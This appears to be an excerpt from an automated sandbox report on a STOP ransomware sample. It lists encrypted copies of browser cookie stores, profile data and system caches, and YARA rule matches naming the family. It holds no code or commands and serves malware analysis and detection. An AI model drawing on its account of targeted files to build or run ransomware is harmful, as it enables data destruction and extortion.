Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat entropy: 7.99571406368	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl entropy: 7.99712978558	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl entropy: 7.99683069228	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\excel.exe.db entropy: 7.9924415718	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officec2rclient.exe.db entropy: 7.99300995476	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officeclicktorun.exe.db entropy: 7.99227166515	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Office\OTele\officesetup.exe.db entropy: 7.99330685213	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db entropy: 7.99825244369	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db entropy: 7.99859727865	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db entropy: 7.9980061961	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl entropy: 7.99165144158	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log entropy: 7.99001106613	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js entropy: 7.99453029324	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\PreSignInSettingsConfig[1].json entropy: 7.99754237867	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx entropy: 7.99664182644	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css entropy: 7.99861766217	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\PreSignInSettingsConfig[1].json entropy: 7.99772535607	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg entropy: 7.9972257465	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt entropy: 7.99204513893	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml entropy: 7.99709041071	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite entropy: 7.99785744583	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-shm entropy: 7.99482549919	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\extensions.json entropy: 7.99504676741	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite-shm entropy: 7.99452581552	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\permissions.sqlite entropy: 7.998209058	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm entropy: 7.9947441561	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\091tobv5.default-release\protections.sqlite entropy: 7.99729191424	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html entropy: 7.99799470896	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin entropy: 7.99760540119	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db entropy: 7.99689510638	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db entropy: 7.99210259616	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\18e190413af045db88dfbd29609eb877.db.session64 entropy: 7.99682341633	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\chrome.exe entropy: 7.99867478959	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\DESKTOP-AGET0TR-20231005-1152.log entropy: 7.99555378724	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\AppData\Local\Temp\offline.session64 entropy: 7.99727907843	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.kkia (copy) entropy: 7.99210259616	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.kkia (copy) entropy: 7.99682341633	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\chrome.exe.kkia (copy) entropy: 7.99867478959	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\DESKTOP-AGET0TR-20231005-1152.log.kkia (copy) entropy: 7.99555378724	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\offline.session64.kkia (copy) entropy: 7.99727907843	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\wct449A.tmp.kkia (copy) entropy: 7.99738137515	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\wct9C21.tmp.kkia (copy) entropy: 7.99708490588	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\wctA2D.tmp.kkia (copy) entropy: 7.99719595185	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\wctC72B.tmp.kkia (copy) entropy: 7.99777185402	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.kkia (copy) entropy: 7.99664182644	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\acroNGLLog.txt.kkia (copy) entropy: 7.99204513893	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Adobe\Acrobat\DC\UserCache64.bin.kkia (copy) entropy: 7.99760540119	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.kkia (copy) entropy: 7.99689510638	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\excel.exe.db.kkia (copy) entropy: 7.9924415718	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officec2rclient.exe.db.kkia (copy) entropy: 7.99300995476	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officeclicktorun.exe.db.kkia (copy) entropy: 7.99227166515	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Office\OTele\officesetup.exe.db.kkia (copy) entropy: 7.99330685213	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db.kkia (copy) entropy: 7.99825244369	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000001.db.kkia (copy) entropy: 7.99859727865	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000002.db.kkia (copy) entropy: 7.9980061961	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl.kkia (copy) entropy: 7.99165144158	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Windows\Shell\DefaultLayouts.xml.kkia (copy) entropy: 7.99709041071	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\LocalState\ThirdPartyNotice.html.kkia (copy) entropy: 7.99799470896	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\Settings\settings.dat.LOG1.kkia (copy) entropy: 7.99718784329	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\MediaDb.v1.sqlite-shm.kkia (copy) entropy: 7.99404422257	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Photos_8wekyb3d8bbwe\LocalState\PhotosAppTracing_startedInBGMode.etl.kkia (copy) entropy: 7.99714665973	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\TempState\CortanaUnifiedTileModelCache.dat.kkia (copy) entropy: 7.99584470018	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\StartUnifiedTileModelCache.dat.kkia (copy) entropy: 7.99571406368	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog.etl.kkia (copy) entropy: 7.99712978558	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\HxCommAlwaysOnLog_Old.etl.kkia (copy) entropy: 7.99683069228	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log.kkia (copy) entropy: 7.99001106613	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\GJ1F663Z\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.kkia (copy) entropy: 7.99453029324	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\GJ1F663Z\PreSignInSettingsConfig[1].json.kkia (copy) entropy: 7.99754237867	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\Q8X2NUFH\Converged_v22057_4HqSCTf5FFStBMz0_eIqyA2[1].css.kkia (copy) entropy: 7.99861766217	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Temporary Internet Files\Content.IE5\Q8X2NUFH\PreSignInSettingsConfig[1].json.kkia (copy) entropy: 7.99772535607	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Microsoft\Windows\Themes\CachedFiles\CachedImage_1280_1024_POS4.jpg.kkia (copy) entropy: 7.9972257465	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite.kkia (copy) entropy: 7.99785744583	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\cookies.sqlite-shm.kkia (copy) entropy: 7.99482549919	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\extensions.json.kkia (copy) entropy: 7.99504676741	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\favicons.sqlite-shm.kkia (copy) entropy: 7.99452581552	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\permissions.sqlite.kkia (copy) entropy: 7.998209058	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\places.sqlite-shm.kkia (copy) entropy: 7.9947441561	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\protections.sqlite.kkia (copy) entropy: 7.99729191424	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite.kkia (copy) entropy: 7.99795047385	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\091tobv5.default-release\webappsstore.sqlite-shm.kkia (copy) entropy: 7.99400485796	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico.kkia (copy) entropy: 7.99868123599	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db.kkia (copy) entropy: 7.99056516036	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\Edge Profile.ico.kkia (copy) entropy: 7.9976326505	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\load_statistics.db-shm.kkia (copy) entropy: 7.994314454	Jump to dropped file
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	File created: C:\Users\user\Local Settings\Microsoft\Edge\User Data\Default\load_statistics.db-wal.kkia (copy) entropy: 7.99746069608	Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 8.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 9.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 7.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22615a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 14.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22f15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 4.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
